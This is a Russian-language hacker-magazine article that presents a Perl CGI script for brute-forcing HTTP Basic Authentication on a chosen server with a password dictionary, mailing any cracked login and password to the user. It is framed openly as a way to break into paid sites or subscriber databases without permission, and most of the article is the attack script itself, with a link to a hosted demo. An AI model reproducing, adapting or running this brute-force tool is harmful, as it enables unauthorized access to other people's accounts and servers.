Совсем недавно прошла статья "Брутфорс на Perl", в которой рассматривалась возможность взлома твоего любимого порно-сервера (ну или доступа к базе номеров какого-нибудь экономического журнала - это уж кому как ;-)) с помощью мощи языка Perl. Хорошая была задумка, очень хорошая…Однако предлагалось использовать для запуска shell… А он у тебя есть? Вот то-то и оно… только не спеши расстраиваться. Про мощь языка я только что говорил, помнишь? Поэтому давай попробуем забацать примерно следующее:

Ты заполняешь формочку (причем вовсе необязательно каждый раз грузить ее из инета - просто сохрани эту формочку у себя на винте) нажимаешь кнопочку "Start", отключаешься от инета и идешь спать. Просыпаешься утром - лезешь в свой почтовый ящик (не на лестничной клетке, а на каком-нибудь mail.xx) и находишь там письмецо в результатами брутфорса…

Заманчиво? То-то и оно… И между тем, все предельно просто: после нажатия кнопочки "Start", введенные тобой данные передаются в скрипт, который начинает подбирать пароль, используя введенные тобой данные. По результатам подбора формируется письмо с темой "Hacked!!!" и указанием логина/пароля - если подбор был успешен, и темой "Hack Results", если ничего не вышло.

Теперь о том, где взять сам скрипт… Думаю далеко ходить не надо, вот его несколько урезанный вариант:

################################
#!/usr/bin/perl
use CGI qw(:standard);
use MIME::Base64;
use IO::Socket;
use POSIX;

$server=param("server");
chomp($server);
if (length($server)<4){$war="Wrong server!";}
$port=param("port");
chomp($port);
if (length($port)<1){$war="Wrong port!";}
$dir=param("dir");
chomp($dir);
if (length($dir)<2){$war="Wrong Directory!";}
$user=param("user");
chomp($user);
if (length($user)<1){$war="Wrong Username!";}
$mail=param("mail");
chomp($mail);
if ((length($mail)<7) || (not $mail=~/\@/)){$war="Wrong e-mail!";}
$dict="dictionary.txt";
$mailprog='/usr/sbin/sendmail';
$admin='k_georgy@mail.ru';

if (defined ($war)){
print "Content-type: text/html\n\n";

print "Can`t Start Hacking!!!\t$war\t\t";
die;
}
if (not defined($war)){
$query = CGI::new();
print $query->redirect('http://www.xakep.holm.ru/ok.htm');
}
open(PASS, "$dict") or die print "$!\n";
$i=0;
while (<PASS>){
$pass=<PASS>;
$i++;
chomp($pass);
$send=encode_base64("$user\:$pass");
chomp($send);
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or die print "connection failed to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://xakep.holm.ru/\n";
print $socket "User-Agent: Internet Explorer 5.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $send\n";
print $socket "Connection: close\n\n";
$in=<$socket>;
if ($in=~/200 Ok/i) {
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: HACKED!!!\n";
print MAIL "To: $mail\n";
print MAIL "From: ".$admin."\n\n";
print MAIL "Username is : $user\n";
print MAIL "Password is $pass\n\n";
close (MAIL);

exit 0;
}
}
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: HACK RESULTS\n";
print MAIL "To: $mail\n";
print MAIL "From: ".$admin."\n\n";
print MAIL "Результаты Взлома:\n";
print MAIL "Server: $server\n";
print MAIL "Username: $user\n";
print MAIL "Not hacked…"; 
close (MAIL);

#coded by: Georgy, платный консультант
################################

Итак, если ты хоть немного напрягся и почитал код, то увидел, что все, что тебе нужно для полного счастья, это файл с вариантами паролей который ты обзовешь dictionary.txt и засунешь в ту же директория, что и сам скрипт.

Ну и конечно же!!! Рабочую demo-версию этого скрипта ты можешь найти на моем сайте
http://georgy.h1.ru.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии